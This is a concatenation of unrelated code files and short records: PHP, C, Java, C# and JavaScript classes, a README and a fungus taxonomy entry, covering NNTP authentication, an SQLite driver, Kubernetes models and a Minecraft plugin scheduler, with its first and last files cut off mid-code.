        $this->type = $type;
        $this->value = $value;

        parent::__construct();
    }

    /**
     * {@inheritdoc}
     */
    public function execute()
    {
        return sprintf('AUTHINFO %s %s', $this->type, $this->value);
    }

    /**
     * {@inheritdoc}
     */
    public function getExpectedResponseCodes()
    {
        return array(
            Response::AUTHENTICATION_ACCEPTED => 'onAuthenticationAccepted',
            Response::PASSWORD_REQUIRED => 'onPasswordRequired',
            Response::AUTHENTICATION_REJECTED => 'onAuthenticationRejected',
            Response::AUTHENTICATION_OUTOFSEQUENCE => 'onAuthenticationOutOfSequence',
        );
    }

    public function onAuthenticationAccepted(Response $response)
    {
        return;
    }

    public function onPasswordRequired(Response $response)
    {
        return;
    }

    public function onAuthenticationRejected(Response $response)
    {
        throw new RuntimeException(sprintf('Authentication failed with given value for type %s', $this->type));
    }

    public function onAuthenticationOutOfSequence(Response $response)
    {
        throw new RuntimeException(sprintf('Authentication is out of sequence for type %s', $this->type));
    }
}


text:
/*
 * Copyright (c) 2015, Freescale Semiconductor, Inc.
 * Copyright 2016-2017 NXP
 * All rights reserved.
 *
 * THIS SOFTWARE IS PROVIDED BY NXP "AS IS" AND ANY EXPRESSED OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL NXP OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
 * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 * THE POSSIBILITY OF SUCH DAMAGE.
 */

#ifndef DEVASSERT_H
#    define DEVASSERT_H

#    include <stdbool.h>

/**
 * @page misra_violations MISRA-C:2012 violations
 *
 * @section [global]
 * Violates MISRA 2012 Advisory Rule 2.5, global macro not referenced.
 * The macro is defined to be used by drivers to validate input parameters and can be disabled.
 *
 * @section [global]
 * Violates MISRA 2012 Advisory Directive 4.9, Function-like macro defined.
 * The macros are used to validate input parameters to driver functions.
 *
 */

/**
\page Error_detection_and_reporting Error detection and reporting

S32 SDK drivers can use a mechanism to validate data coming from upper software layers (application code) by performing
a number of checks on input parameters' range or other invariants that can be statically checked (not dependent on
runtime conditions). A failed validation is indicative of a software bug in application code, therefore it is important
to use this mechanism during development.

The validation is performed by using DEV_ASSERT macro.
A default implementation of this macro is provided in this file. However, application developers can provide their own
implementation in a custom file. This requires defining the CUSTOM_DEVASSERT symbol with the specific file name in the
project configuration (for example: -DCUSTOM_DEVASSERT="custom_devassert.h")

The default implementation accommodates two behaviors, based on DEV_ERROR_DETECT symbol:
 - When DEV_ERROR_DETECT symbol is defined in the project configuration (for example: -DDEV_ERROR_DETECT), the
validation performed by the DEV_ASSERT macro is enabled, and a failed validation triggers a software breakpoint and
further execution is prevented (application spins in an infinite loop) This configuration is recommended for development
environments, as it prevents further execution and allows investigating potential problems from the point of error
detection.
 - When DEV_ERROR_DETECT symbol is not defined, the DEV_ASSERT macro is implemented as no-op, therefore disabling all
validations. This configuration can be used to eliminate the overhead of development-time checks.

It is the application developer's responsibility to decide the error detection strategy for production code: one can opt
to disable development-time checking altogether (by not defining DEV_ERROR_DETECT symbol), or one can opt to keep the
checks in place and implement a recovery mechanism in case of a failed validation, by defining CUSTOM_DEVASSERT to point
to the file containing the custom implementation.
*/

#    if defined(CUSTOM_DEVASSERT)
/* If the CUSTOM_DEVASSERT symbol is defined, then add the custom implementation */
#        include CUSTOM_DEVASSERT
#    elif defined(DEV_ERROR_DETECT)
/* Implement default assert macro */
static inline void DevAssert(volatile bool x)
{
    if (x)
    {
    }
    else
    {
        BKPT_ASM;
        for (;;)
        {
        }
    }
}
#        define DEV_ASSERT(x) DevAssert(x)
#    else
/* Assert macro does nothing */
#        define DEV_ASSERT(x) ((void) 0)
#    endif

#endif  // DEVASSERT_H

/*******************************************************************************
 * EOF
 ******************************************************************************/


text:
MvcAjaxGridSample
=================
Ajax grid sample built with MVC AjaxHelper. It's not a component. It's just an example of the design approach with minimum custom JS code.

Important
-----------------
* Grid elements and their interactions during AJAX calls
* Using AjaxHelper to build AJAX grid with filtering and paging
* Validation in AJAX scenarious (handling validation errors after AJAX call to MVC action)
* Custom ActionResult (converts ModelState errors to JSON)

Notes
------
* Grid supports filtering and pagination
* Uses Bootstrap (modal, tooltips and forms)
* Uses serialization from Mvc4Futures (https://www.nuget.org/packages/Mvc4Futures/4.0.20710) Description http://weblogs.asp.net/imranbaloch/using-the-features-of-asp-net-mvc-3-futures

License
-------
The MIT License (MIT)


text:
package com.voxelplugineering.voxelsniper.bukkit.service;

import static com.google.common.base.Preconditions.checkNotNull;

import java.util.Iterator;
import java.util.List;

import com.google.common.base.Optional;
import com.google.common.collect.Lists;
import com.voxelplugineering.voxelsniper.api.service.scheduler.Scheduler;
import com.voxelplugineering.voxelsniper.bukkit.service.scheduler.BukkitTask;
import com.voxelplugineering.voxelsniper.core.Gunsmith;
import com.voxelplugineering.voxelsniper.core.service.AbstractService;

/**
 * A proxy for Bukkit's {@link org.bukkit.scheduler.BukkitScheduler}.
 */
public class BukkitSchedulerService extends AbstractService implements Scheduler
{

    private List<BukkitTask> tasks;
    private final org.bukkit.plugin.Plugin plugin;
    private final org.bukkit.scheduler.BukkitScheduler scheduler;

    /**
     * Creates a new {@link BukkitSchedulerService}.
     *
     * @param plugin The plugin
     */
    public BukkitSchedulerService(org.bukkit.plugin.Plugin plugin)
    {
        super(Scheduler.class, 11);
        this.plugin = checkNotNull(plugin);
        this.scheduler = org.bukkit.Bukkit.getScheduler();
    }

    @Override
    public String getName()
    {
        return "scheduler";
    }

    @Override
    public void init()
    {
        this.tasks = Lists.newArrayList();
        Gunsmith.getLogger().info("Initialized BukkitSchedulerProxy service");
    }

    @Override
    protected void destroy()
    {
        stopAllTasks();
        this.tasks = null;
        Gunsmith.getLogger().info("Stopped BukkitSchedulerProxy service");
    }

    @Override
    public Optional<BukkitTask> startSynchronousTask(Runnable runnable, int interval)
    {
        org.bukkit.scheduler.BukkitTask task = this.scheduler.runTaskTimer(this.plugin, runnable, 0, interval / 50);
        BukkitTask newTask = new BukkitTask(runnable, interval, task);
        this.tasks.add(newTask);
        return Optional.of(newTask);
    }

    @Override
    public Optional<BukkitTask> startAsynchronousTask(Runnable runnable, int interval)
    {
        org.bukkit.scheduler.BukkitTask task = this.scheduler.runTaskTimerAsynchronously(this.plugin, runnable, 0, interval / 50);
        BukkitTask newTask = new BukkitTask(runnable, interval, task);
        this.tasks.add(newTask);
        return Optional.of(newTask);
    }

    @Override
    public void stopAllTasks()
    {
        for (Iterator<BukkitTask> iter = this.tasks.iterator(); iter.hasNext();)
        {
            BukkitTask task = iter.next();
            task.cancel();
            iter.remove();
        }
    }

    @Override
    public List<BukkitTask> getAllTasks()
    {
        return this.tasks;
    }
}


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
Docums Mycol. 24(no. 95): 46 (1994)

#### Original name
Cortinarius delibutus f. ochroleucoides Bon & Jamoni

### Remarks
null


text:
#include "lib.h"
#include "array.h"
#include "str.h"
#include "sql-api-private.h"

#ifdef BUILD_SQLITE
#include <sqlite3.h>

/* retry time if db is busy (in ms) */
static const int sqlite_busy_timeout = 1000;

struct sqlite_db {
	struct sql_db api;

	pool_t pool;
	const char *dbfile;
	sqlite3 *sqlite;
	unsigned int connected:1;
	int rc;
};

struct sqlite_result {
	struct sql_result api;
	sqlite3_stmt *stmt;
	unsigned int cols;
	const char **row;
};

struct sqlite_transaction_context {
	struct sql_transaction_context ctx;
	unsigned int failed:1;
};

extern const struct sql_db driver_sqlite_db;
extern const struct sql_result driver_sqlite_result;
extern const struct sql_result driver_sqlite_error_result;

static int driver_sqlite_connect(struct sql_db *_db)
{
 	struct sqlite_db *db = (struct sqlite_db *)_db;

	if (db->connected)
		return 1;

	db->rc = sqlite3_open(db->dbfile, &db->sqlite);

	if (db->rc == SQLITE_OK) {
		db->connected = TRUE;
		sqlite3_busy_timeout(db->sqlite, sqlite_busy_timeout);
		return 1;
	} else {
		i_error("sqlite: open(%s) failed: %s", db->dbfile,
			sqlite3_errmsg(db->sqlite));
		sqlite3_close(db->sqlite);
		db->sqlite = NULL;
		return -1;
	}
}

static void driver_sqlite_disconnect(struct sql_db *_db)
{
 	struct sqlite_db *db = (struct sqlite_db *)_db;

	sqlite3_close(db->sqlite);
	db->sqlite = NULL;
}

static struct sql_db *driver_sqlite_init_v(const char *connect_string)
{
	struct sqlite_db *db;
	pool_t pool;

	i_assert(connect_string != NULL);

	pool = pool_alloconly_create("sqlite driver", 512);
	db = p_new(pool, struct sqlite_db, 1);
	db->pool = pool;
	db->api = driver_sqlite_db;
	db->dbfile = p_strdup(db->pool, connect_string);
	db->connected = FALSE;

	return &db->api;
}

static void driver_sqlite_deinit_v(struct sql_db *_db)
{
	struct sqlite_db *db = (struct sqlite_db *)_db;

	_db->no_reconnect = TRUE;
	sql_db_set_state(&db->api, SQL_DB_STATE_DISCONNECTED);

	sqlite3_close(db->sqlite);
	array_free(&_db->module_contexts);
	pool_unref(&db->pool);
}

static const char *
driver_sqlite_escape_string(struct sql_db *_db ATTR_UNUSED,
			    const char *string)
{
	const char *p;
	char *dest, *destbegin;

	/* find the first ' */
	for (p = string; *p != '\''; p++) {
		if (*p == '\0')
			return t_strdup_noconst(string);
	}

	/* @UNSAFE: escape ' with '' */
	dest = destbegin = t_buffer_get((p - string) + strlen(string) * 2 + 1);

	memcpy(dest, string, p - string);
	dest += p - string;

	for (; *p != '\0'; p++) {
		*dest++ = *p;
		if (*p == '\'')
			*dest++ = *p;
	}
	*dest++ = '\0';
	t_buffer_alloc(dest - destbegin);

	return destbegin;
}

static void driver_sqlite_exec(struct sql_db *_db, const char *query)
{
	struct sqlite_db *db = (struct sqlite_db *)_db;

	if (driver_sqlite_connect(_db) < 0)
		return;

	db->rc = sqlite3_exec(db->sqlite, query, NULL, 0, NULL);
	if (db->rc != SQLITE_OK) {
		i_error("sqlite: exec(%s) failed: %s (%d)",
			query, sqlite3_errmsg(db->sqlite), db->rc);
	}
}

static void driver_sqlite_query(struct sql_db *db, const char *query,
				sql_query_callback_t *callback, void *context)
{
	struct sql_result *result;

	result = sql_query_s(db, query);
	result->callback = TRUE;
	callback(result, context);
	result->callback = FALSE;
	sql_result_unref(result);
}

static struct sql_result *
driver_sqlite_query_s(struct sql_db *_db, const char *query)
{
	struct sqlite_db *db = (struct sqlite_db *)_db;
	struct sqlite_result *result;
	int rc;

	result = i_new(struct sqlite_result, 1);

	if (driver_sqlite_connect(_db) < 0) {
		result->api = driver_sqlite_error_result;
		result->stmt = NULL;
		result->cols = 0;
	} else {
		rc = sqlite3_prepare(db->sqlite, query, -1, &result->stmt, NULL);
		if (rc == SQLITE_OK) {
			result->api = driver_sqlite_result;
			result->cols = sqlite3_column_count(result->stmt);
			result->row = i_new(const char *, result->cols);
		} else {
			result->api = driver_sqlite_error_result;
			result->stmt = NULL;
			result->cols = 0;
		}
	}
	result->api.db = _db;
	result->api.refcount = 1;

	return &result->api;
}

static void driver_sqlite_result_free(struct sql_result *_result)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;
	struct sqlite_db *db = (struct sqlite_db *)	result->api.db;
	int rc;

	if (_result->callback)
		return;

	if (result->stmt != NULL) {
		if ((rc = sqlite3_finalize(result->stmt)) != SQLITE_OK) {
			i_warning("sqlite: finalize failed: %s (%d)",
				  sqlite3_errmsg(db->sqlite), rc);
		}
		i_free(result->row);
	}
	i_free(result);
}

static int driver_sqlite_result_next_row(struct sql_result *_result)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;

	switch (sqlite3_step(result->stmt)) {
	case SQLITE_ROW:
		return 1;
	case SQLITE_DONE:
		return 0;
	default:
		return -1;
	}
}

static unsigned int
driver_sqlite_result_get_fields_count(struct sql_result *_result)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;

	return result->cols;
}

static const char *
driver_sqlite_result_get_field_name(struct sql_result *_result,
				    unsigned int idx)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;

	return sqlite3_column_name(result->stmt, idx);
}

static int driver_sqlite_result_find_field(struct sql_result *_result,
					   const char *field_name)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;
	unsigned int i;

	for (i = 0; i < result->cols; ++i) {
		const char *col = sqlite3_column_name(result->stmt, i);

		if (strcmp(col, field_name) == 0)
			return i;
	}

	return -1;
}

static const char *
driver_sqlite_result_get_field_value(struct sql_result *_result,
				     unsigned int idx)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;

	return (const char*)sqlite3_column_text(result->stmt, idx);
}

static const unsigned char *
driver_sqlite_result_get_field_value_binary(struct sql_result *_result,
					    unsigned int idx, size_t *size_r)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;

	*size_r = sqlite3_column_bytes(result->stmt, idx);
	return sqlite3_column_blob(result->stmt, idx);
}

static const char *
driver_sqlite_result_find_field_value(struct sql_result *result,
				     const char *field_name)
{
	int idx;

	idx = driver_sqlite_result_find_field(result, field_name);
	if (idx < 0)
		return NULL;
	return driver_sqlite_result_get_field_value(result, idx);
}

static const char *const *
driver_sqlite_result_get_values(struct sql_result *_result)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;
	unsigned int i;

	for (i = 0; i < result->cols; ++i) {
		result->row[i] =
			driver_sqlite_result_get_field_value(_result, i);
	}

	return (const char *const *)result->row;
}

static const char *driver_sqlite_result_get_error(struct sql_result *_result)
{
	struct sqlite_result *result = (struct sqlite_result *)_result;
	struct sqlite_db *db = (struct sqlite_db *)result->api.db;

	return sqlite3_errmsg(db->sqlite);
}

static struct sql_transaction_context *
driver_sqlite_transaction_begin(struct sql_db *_db)
{
	struct sqlite_transaction_context *ctx;
	struct sqlite_db *db = (struct sqlite_db *)_db;

	ctx = i_new(struct sqlite_transaction_context, 1);
	ctx->ctx.db = _db;

	sql_exec(_db, "BEGIN TRANSACTION");
	if (db->rc != SQLITE_OK)
		ctx->failed = TRUE;

	return &ctx->ctx;
}

static void
driver_sqlite_transaction_rollback(struct sql_transaction_context *_ctx)
{
	struct sqlite_transaction_context *ctx =
		(struct sqlite_transaction_context *)_ctx;

	sql_exec(_ctx->db, "ROLLBACK");
	i_free(ctx);
}

static void
driver_sqlite_transaction_commit(struct sql_transaction_context *_ctx,
				 sql_commit_callback_t *callback, void *context)
{
	struct sqlite_transaction_context *ctx =
		(struct sqlite_transaction_context *)_ctx;
	struct sqlite_db *db = (struct sqlite_db *)ctx->ctx.db;
	const char *errmsg;

	if (!ctx->failed) {
		sql_exec(_ctx->db, "COMMIT");
		if (db->rc != SQLITE_OK)
			ctx->failed = TRUE;
	}

	if (ctx->failed) {
		errmsg = sqlite3_errmsg(db->sqlite);
		callback(errmsg, context);
                /* also does i_free(ctx) */
		driver_sqlite_transaction_rollback(_ctx);
	} else {
		callback(NULL, context);
		i_free(ctx);
	}
}

static int
driver_sqlite_transaction_commit_s(struct sql_transaction_context *_ctx,
				   const char **error_r)
{
	struct sqlite_transaction_context *ctx =
		(struct sqlite_transaction_context *)_ctx;
	struct sqlite_db *db = (struct sqlite_db *) ctx->ctx.db;

	if (ctx->failed) {
                /* also does i_free(ctx) */
		driver_sqlite_transaction_rollback(_ctx);
		return -1;
	}

	sql_exec(_ctx->db, "COMMIT");
	*error_r = sqlite3_errmsg(db->sqlite);
	i_free(ctx);
	return 0;
}

static void
driver_sqlite_update(struct sql_transaction_context *_ctx, const char *query,
		     unsigned int *affected_rows)
{
	struct sqlite_transaction_context *ctx =
		(struct sqlite_transaction_context *)_ctx;
	struct sqlite_db *db = (struct sqlite_db *)ctx->ctx.db;

	if (ctx->failed)
		return;

	sql_exec(_ctx->db, query);
	if (db->rc != SQLITE_OK)
		ctx->failed = TRUE;
	else if (affected_rows != NULL)
		*affected_rows = sqlite3_changes(db->sqlite);
}

const struct sql_db driver_sqlite_db = {
	.name = "sqlite",
	.flags = SQL_DB_FLAG_BLOCKING,

	.v = {
		driver_sqlite_init_v,
		driver_sqlite_deinit_v,
		driver_sqlite_connect,
		driver_sqlite_disconnect,
		driver_sqlite_escape_string,
		driver_sqlite_exec,
		driver_sqlite_query,
		driver_sqlite_query_s,

		driver_sqlite_transaction_begin,
		driver_sqlite_transaction_commit,
		driver_sqlite_transaction_commit_s,
		driver_sqlite_transaction_rollback,
		driver_sqlite_update
	}
};

const struct sql_result driver_sqlite_result = {
	.v = {
		driver_sqlite_result_free,
		driver_sqlite_result_next_row,
		driver_sqlite_result_get_fields_count,
		driver_sqlite_result_get_field_name,
		driver_sqlite_result_find_field,
		driver_sqlite_result_get_field_value,
		driver_sqlite_result_get_field_value_binary,
		driver_sqlite_result_find_field_value,
		driver_sqlite_result_get_values,
		driver_sqlite_result_get_error
	}
};

static int
driver_sqlite_result_error_next_row(struct sql_result *result ATTR_UNUSED)
{
	return -1;
}

const struct sql_result driver_sqlite_error_result = {
	.v = {
		driver_sqlite_result_free,
		driver_sqlite_result_error_next_row,
		NULL, NULL, NULL, NULL, NULL, NULL, NULL,
		driver_sqlite_result_get_error
	}
};

void driver_sqlite_init(void);
void driver_sqlite_deinit(void);

void driver_sqlite_init(void)
{
	sql_driver_register(&driver_sqlite_db);
}

void driver_sqlite_deinit(void)
{
	sql_driver_unregister(&driver_sqlite_db);
}

#endif


text:
package io.kubernetes.client.openapi.models;

import io.kubernetes.client.fluent.Fluent;
import io.kubernetes.client.fluent.Nested;
import java.util.Collection;
import java.util.List;
import java.util.function.Predicate;

/** Generated */
public interface V1ProjectedVolumeSourceFluent<A extends V1ProjectedVolumeSourceFluent<A>>
    extends Fluent<A> {
  public Integer getDefaultMode();

  public A withDefaultMode(Integer defaultMode);

  public Boolean hasDefaultMode();

  public A addToSources(Integer index, V1VolumeProjection item);

  public A setToSources(Integer index, V1VolumeProjection item);

  public A addToSources(io.kubernetes.client.openapi.models.V1VolumeProjection... items);

  public A addAllToSources(Collection<V1VolumeProjection> items);

  public A removeFromSources(io.kubernetes.client.openapi.models.V1VolumeProjection... items);

  public A removeAllFromSources(Collection<V1VolumeProjection> items);

  public A removeMatchingFromSources(Predicate<V1VolumeProjectionBuilder> predicate);

  /**
   * This method has been deprecated, please use method buildSources instead.
   *
   * @return The buildable object.
   */
  @Deprecated
  public List<V1VolumeProjection> getSources();

  public List<V1VolumeProjection> buildSources();

  public V1VolumeProjection buildSource(Integer index);

  public V1VolumeProjection buildFirstSource();

  public V1VolumeProjection buildLastSource();

  public V1VolumeProjection buildMatchingSource(Predicate<V1VolumeProjectionBuilder> predicate);

  public Boolean hasMatchingSource(Predicate<V1VolumeProjectionBuilder> predicate);

  public A withSources(List<V1VolumeProjection> sources);

  public A withSources(io.kubernetes.client.openapi.models.V1VolumeProjection... sources);

  public Boolean hasSources();

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> addNewSource();

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> addNewSourceLike(V1VolumeProjection item);

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> setNewSourceLike(
      Integer index, V1VolumeProjection item);

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> editSource(Integer index);

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> editFirstSource();

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> editLastSource();

  public V1ProjectedVolumeSourceFluent.SourcesNested<A> editMatchingSource(
      Predicate<V1VolumeProjectionBuilder> predicate);

  public interface SourcesNested<N>
      extends Nested<N>, V1VolumeProjectionFluent<V1ProjectedVolumeSourceFluent.SourcesNested<N>> {
    public N and();

    public N endSource();
  }
}


text:
module.exports = {
  up: (queryInterface, Sequelize) =>
    queryInterface.createTable('Groups', {
      id: {
        allowNull: false,
        autoIncrement: true,
        primaryKey: true,
        type: Sequelize.INTEGER
      },
      groupName: {
        allowNull: false,
        type: Sequelize.STRING,
        validate: {
          notEmpty: true
        }
      },
      userId: {
        type: Sequelize.INTEGER,
        allowNull: false,
        validate: {
          notEmpty: true
        },
        references: {
          model: 'Users',
          key: 'id'
        }
      },
      createdAt: {
        allowNull: false,
        type: Sequelize.DATE
      },
      updatedAt: {
        allowNull: false,
        type: Sequelize.DATE
      }
    }),
  down: queryInterface =>
    queryInterface.dropTable('Groups'),
};


text:
package com.rhcloud.igorbotian.rsskit.rss.championat;

import com.rhcloud.igorbotian.rsskit.rest.championat.ChampionatArticle;
import com.rhcloud.igorbotian.rsskit.rss.RssGenerator;
import com.rometools.rome.feed.synd.*;
import org.apache.commons.lang3.StringUtils;

import java.util.*;

/**
 * @author Igor Botian
 */
public class ChampionatRssGenerator extends RssGenerator<List<ChampionatArticle>> {

    public static final String BREAKING_CATEGORY = "breaking";
    public static final String CHAMPIONAT_COM = "http://www.championat.com";

    @Override
    protected SyndFeed skeleton() {
        SyndFeed feed = new SyndFeedImpl();

        feed.setPublishedDate(new Date());
        feed.setLink(CHAMPIONAT_COM);
        feed.setTitle("Чемпионат.com");
        feed.setFeedType(RSS_20);
        feed.setDescription(feed.getTitle());

        SyndImage image = new SyndImageImpl();
        image.setTitle(feed.getTitle());
        image.setUrl("http://st.championat.net/i/rss-logo.png");
        feed.setImage(image);

        return feed;
    }

    @Override
    public SyndFeed generate(List<ChampionatArticle> articles) {
        Objects.requireNonNull(articles);

        List<SyndEntry> entries = generateEntries(articles);
        SyndFeed feed = skeleton();
        feed.setEntries(entries);

        if (!entries.isEmpty()) {
            feed.setPublishedDate(entries.get(entries.size() - 1).getPublishedDate());
        }

        return feed;
    }

    private List<SyndEntry> generateEntries(List<ChampionatArticle> articles) {
        assert articles != null;

        List<SyndEntry> entries = new ArrayList<>(articles.size());

        for (ChampionatArticle article : articles) {
            entries.add(generateEntry(article));
        }

        return entries;
    }

    private SyndEntry generateEntry(ChampionatArticle article) {
        assert article != null;

        SyndEntry entry = new SyndEntryImpl();

        entry.setLink(CHAMPIONAT_COM + article.directLink);
        entry.setPublishedDate(article.pubDate);
        entry.setTitle(article.title);
        entry.setDescription(generateDescription(article));

        if(article.breaking) {
            SyndCategory category = new SyndCategoryImpl();
            category.setName(BREAKING_CATEGORY);
            entry.setCategories(Collections.singletonList(category));
        }

        return entry;
    }

    private SyndContent generateDescription(ChampionatArticle article) {
        assert article != null;

        SyndContent description = new SyndContentImpl();
        description.setValue(generateDescriptionText(article));
        description.setType(HTML_MIME_TYPE);

        return description;
    }

    private String generateDescriptionText(ChampionatArticle article) {
        assert article != null;

        StringBuilder description = new StringBuilder();

        if(StringUtils.isNotEmpty(article.imageURL)) {
            description.append(String.format("", article.imageURL));

            if(StringUtils.isNotEmpty(article.imageCaption)) {
                description.append("
");
                description.append(article.imageCaption);
            }
        }

        if(description.length() > 0) {
            description.append("

");
        }

        description.append(article.content);

        return description.toString();
    }
}


text:
package net.faintedge.rube.systems;

import com.artemis.Aspect;
import com.artemis.ComponentMapper;
import com.artemis.Entity;
import com.artemis.annotations.Wire;
import com.artemis.systems.EntityProcessingSystem;
import com.google.common.collect.BiMap;
import com.google.common.collect.HashBiMap;
import net.faintedge.rube.components.Name;

/**
 * Manages a list of {@link Name}s by name.
 */
public class NameSystem extends EntityProcessingSystem {

  @Wire
  private ComponentMapper<Name> nm;

  private final BiMap<String, Integer> nameToEntityId = HashBiMap.create();

  public NameSystem() {
    super(Aspect.getAspectForAll(Name.class));
  }

  @Override
  protected void inserted(Entity e) {
    Name name = nm.getSafe(e);
    if (name != null) {
      nameToEntityId.put(name.getName(), e.getId());
    }
  }

  @Override
  protected void removed(Entity e) {
    if (nameToEntityId.containsValue(e.getId())) {
      nameToEntityId.inverse().remove(e.getId());
    }
  }

  protected void process(Entity e) {
    // NO-OP
  }

  // @Nullable
  public Integer getEntityId(String name) {
    return nameToEntityId.get(name);
  }
}


text:
namespace _01.Students_Results
{
    using System;
    using System.Linq;

    public class Startup
    {
        public static void Main()
        {
            int students = int.Parse(Console.ReadLine());

            Console.WriteLine(string.Format("{0,-10}|{1,7}|{2,7}|{3,7}|{4,7}|", "Name", "CAdv", "COOP", "AdvOOP", "Average"));

            for (int counter = 0; counter < students; counter++)
            {
                string[] input = Console.ReadLine()
                    .Split(new char[] { '-' }, StringSplitOptions.RemoveEmptyEntries);

                string student = input[0].TrimEnd(new char[] { ' ' });

                double[] results = input[1]
                    .Split(new char[] { ' ', ',' }, StringSplitOptions.RemoveEmptyEntries)
                    .Select(double.Parse)
                    .ToArray();

                double average = results.Average();

                Console.WriteLine(string.Format("{0,-10}|{1,7:f2}|{2,7:f2}|{3,7:f2}|{4,7:f4}|", student, results[0], results[1], results[2], average));
            }
        }
    }
}


text:
<?php namespace Fungku\NetSuite\Classes;

class Currency extends Record {
	public $name;
	public $symbol;
	public $isBaseCurrency;
	public $isInactive;
	public $overrideCurrencyFormat;
	public $displaySymbol;
	public $symbolPlacement;
	public $locale;
	public $formatSample;
	public $exchangeRate;
	public $fxRateUpdateTimezone;
	public $inclInFxRateUpdates;
	public $currencyPrecision;
	public $internalId;
	public $externalId;
	static $paramtypesmap = array(
		"name" => "string",
		"symbol" => "string",
		"isBaseCurrency" => "boolean",
		"isInactive" => "boolean",
		"overrideCurrencyFormat" => "boolean",
		"displaySymbol" => "string",
		"symbolPlacement" => "CurrencySymbolPlacement",
		"locale" => "CurrencyLocale",
		"formatSample" => "string",
		"exchangeRate" => "float",
		"fxRateUpdateTimezone" => "CurrencyFxRateUpdateTimezone",
		"inclInFxRateUpdates" => "boolean",
		"currencyPrecision" => "CurrencyCurrencyPrecision",
		"internalId" => "string",
		"externalId" => "string",
	);
}


text:
package com.google.android.gms.nearby.exposurenotification;

import org.microg.safeparcel.AutoSafeParcelable;

import java.util.Arrays;

@Deprecated
public class ExposureConfiguration extends AutoSafeParcelable {
    @Field(1)
    private int minimumRiskScore;
    @Field(2)
    private int[] attenuationScores;
    @Field(3)
    private int attenuationWeight;
    @Field(4)
    private int[] daysSinceLastExposureScores;
    @Field(5)
    private int daysSinceLastExposureWeight;
    @Field(6)
    private int[] durationScores;
    @Field(7)
    private int durationWeight;
    @Field(8)
    private int[] transmissionRiskScores;
    @Field(9)
    private int transmissionRiskWeight;
    @Field(10)
    private int[] durationAtAttenuationThresholds;

    private ExposureConfiguration() {
    }

    ExposureConfiguration(int minimumRiskScore, int[] attenuationScores, int attenuationWeight, int[] daysSinceLastExposureScores, int daysSinceLastExposureWeight, int[] durationScores, int durationWeight, int[] transmissionRiskScores, int transmissionRiskWeight, int[] durationAtAttenuationThresholds) {
        this.minimumRiskScore = minimumRiskScore;
        this.attenuationScores = attenuationScores;
        this.attenuationWeight = attenuationWeight;
        this.daysSinceLastExposureScores = daysSinceLastExposureScores;
        this.daysSinceLastExposureWeight = daysSinceLastExposureWeight;
        this.durationScores = durationScores;
        this.durationWeight = durationWeight;
        this.transmissionRiskScores = transmissionRiskScores;
        this.transmissionRiskWeight = transmissionRiskWeight;
        this.durationAtAttenuationThresholds = durationAtAttenuationThresholds;
    }

    public int getMinimumRiskScore() {
        return minimumRiskScore;
    }

    public int[] getAttenuationScores() {
        return Arrays.copyOf(attenuationScores, attenuationScores.length);
    }

    public int getAttenuationWeight() {
        return attenuationWeight;
    }

    public int[] getDaysSinceLastExposureScores() {
        return Arrays.copyOf(daysSinceLastExposureScores, daysSinceLastExposureScores.length);
    }

    public int getDaysSinceLastExposureWeight() {
        return daysSinceLastExposureWeight;
    }

    public int[] getDurationScores() {
        return Arrays.copyOf(durationScores, durationScores.length);
    }

    public int getDurationWeight() {
        return durationWeight;
    }

    public int[] getTransmissionRiskScores() {
        return Arrays.copyOf(transmissionRiskScores, transmissionRiskScores.length);
    }

    public int getTransmissionRiskWeight() {
        return transmissionRiskWeight;
    }

    public int[] getDurationAtAttenuationThresholds() {
        return Arrays.copyOf(durationAtAttenuationThresholds, durationAtAttenuationThresholds.length);
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;

        ExposureConfiguration that = (ExposureConfiguration) o;

        if (minimumRiskScore != that.minimumRiskScore) return false;
        if (attenuationWeight != that.attenuationWeight) return false;
        if (daysSinceLastExposureWeight != that.daysSinceLastExposureWeight) return false;
        if (durationWeight != that.durationWeight) return false;
        if (transmissionRiskWeight != that.transmissionRiskWeight) return false;
        if (!Arrays.equals(attenuationScores, that.attenuationScores)) return false;
        if (!Arrays.equals(daysSinceLastExposureScores, that.daysSinceLastExposureScores)) return false;
        if (!Arrays.equals(durationScores, that.durationScores)) return false;
        if (!Arrays.equals(transmissionRiskScores, that.transmissionRiskScores)) return false;
        return Arrays.equals(durationAtAttenuationThresholds, that.durationAtAttenuationThresholds);
    }

    @Override
    public int hashCode() {
        int result = minimumRiskScore;
        result = 31 * result + Arrays.hashCode(attenuationScores);
        result = 31 * result + attenuationWeight;
        result = 31 * result + Arrays.hashCode(daysSinceLastExposureScores);
        result = 31 * result + daysSinceLastExposureWeight;
        result = 31 * result + Arrays.hashCode(durationScores);
        result = 31 * result + durationWeight;
        result = 31 * result + Arrays.hashCode(transmissionRiskScores);
        result = 31 * result + transmissionRiskWeight;
        result = 31 * result + Arrays.hashCode(durationAtAttenuationThresholds);
        return result;
    }

    @Override
    public String toString() {
        return "ExposureConfiguration{" +
